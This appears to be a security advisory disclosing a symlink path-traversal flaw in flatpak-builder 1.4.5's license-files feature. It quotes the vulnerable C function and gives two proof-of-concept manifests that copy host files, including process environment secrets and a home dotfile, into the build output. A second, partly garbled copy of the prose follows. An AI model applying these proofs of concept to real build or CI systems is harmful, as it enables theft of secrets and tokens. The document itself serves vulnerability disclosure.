flatpak-builder 1.4.5 introduced automatic license file detection and the license-files manifest key for recording module license files into the build output. The license-files manifest key takes an array of paths to user defined licence files relative to the source directory of the module. The paths from that array are resolved using g_file_resolve_relative_path() and validated to stay inside the source directory using two checks - g_file_get_relative_path() which does not resolve symlinks and g_file_query_file_type() with G_FILE_QUERY_INFO_NOFOLLOW_SYMLINKS which only applies to the final path component. The copy operation runs on host.
|
find_defined_license_files (GStrv license_files, |
|
GFile *source_dir, |
|
GPtrArray *files, |
|
GError **error) |
|
{ |
|
for (size_t i = 0; license_files[i] != NULL; i++) |
|
{ |
|
const char *license_file_path = license_files[i]; |
|
g_autoptr(GFile) license_file = |
|
g_file_resolve_relative_path (source_dir, license_file_path); |
|
g_autofree char *rel_path = NULL; |
|
GFileType file_type; |
|
|
|
rel_path = g_file_get_relative_path (source_dir, license_file); |
|
if (rel_path == NULL) |
|
{ |
|
g_set_error (error, G_IO_ERROR, G_IO_ERROR_FAILED, |
|
"License path outside the source directory"); |
|
return FALSE; |
|
} |
|
|
|
if (!g_file_query_exists (license_file, NULL)) |
|
{ |
|
g_set_error (error, G_IO_ERROR, G_IO_ERROR_FAILED, |
|
"License file \"%s\" does not exist", rel_path); |
|
return FALSE; |
|
} |
|
|
|
file_type = g_file_query_file_type (license_file, |
|
G_FILE_QUERY_INFO_NOFOLLOW_SYMLINKS, |
|
NULL); |
|
if (file_type != G_FILE_TYPE_REGULAR) |
|
{ |
|
g_set_error (error, G_IO_ERROR, G_IO_ERROR_FAILED, |
|
"License file \"%s\" is not a regular file", rel_path); |
|
return FALSE; |
|
} |
|
|
|
g_ptr_array_add (files, g_steal_pointer (&license_file)); |
|
} |
|
|
|
return TRUE; |
|
} |
This can be exploited by using a crafted manifest and/or source to read arbitrary files from the host and capture them into the build output. The proof of concept below shows two examples of this.
POC 1:
export TOKEN="secret-token"
mkdir -p exploit
ln -s /proc/self exploit/licenses
tar czf exploit.tar.gz exploit/
cat << 'EOF' > test.yaml
id: org.flatpak.hello
runtime: org.freedesktop.Platform
runtime-version: '25.08'
sdk: org.freedesktop.Sdk
modules:
- name: hello
buildsystem: simple
build-commands: []
license-files:
- licenses/environ
sources:
- type: archive
path: exploit.tar.gz
EOF
flatpak-builder build --force-clean --user test.yaml
cat build/files/share/licenses/org.flatpak.hello/hello/environ | tr '\0' '\n' | grep "^TOKEN="
TOKEN="secret-token"
POC 2:
mkdir -p exploit
ln -s /home/$(whoami) exploit/licenses
tar czf exploit.tar.gz exploit/
cat << 'EOF' > test.yaml
id: org.flatpak.hello
runtime: org.freedesktop.Platform
runtime-version: '25.08'
sdk: org.freedesktop.Sdk
modules:
- name: hello
buildsystem: simple
build-commands: []
license-files:
- licenses/.zshrc
sources:
- type: archive
path: exploit.tar.gz
EOF
flatpak-builder build --force-clean --user test.yaml
cat build/files/share/licenses/org.flatpak.hello/hello/.zshrc
The impact should be low for an user locally since the manifest is supposed to be "trusted" by the user but this can be exploited to capture CI secrets/tokens that are available in the environment or saved in a file in the CI host. This affects any distributed build/CI service with central secrets as anyone would be able to capture them in the build output which will end up getting distributed to the users.
flatpak-builder 1.4.5 introduced automatic license file detection and the
license-filesmanifest key for recording module license files into the build output. Thelicense-filesmanifest key takes an array of paths to user defined licence files relative to the source directory of the module. The paths from that array are resolved usingg_file_resolve_relative_path()and validated to stay inside the source directory using two checks -g_file_get_relative_path()which does not resolve symlinks andg_file_query_file_type()withG_FILE_QUERY_INFO_NOFOLLOW_SYMLINKSwhich only applies to the final path component. The copy operation runs on host.flatpak-builder/src/builder-module.c
Lines 1528 to 1570 in 0e9e1b3
This can be exploited by using a crafted manifest and/or source to read arbitrary files from the host and capture them into the build output. The proof of concept below shows two examples of this.
POC 1:
POC 2:
The impact should be low for an user locally since the manifest is supposed to be "trusted" by the user but this can be exploited to capture CI secrets/tokens that are available in the environment or saved in a file in the CI host. This affects any distributed build/CI service with central secrets as anyone would be able to capture them in the build output which will end up getting distributed to the users.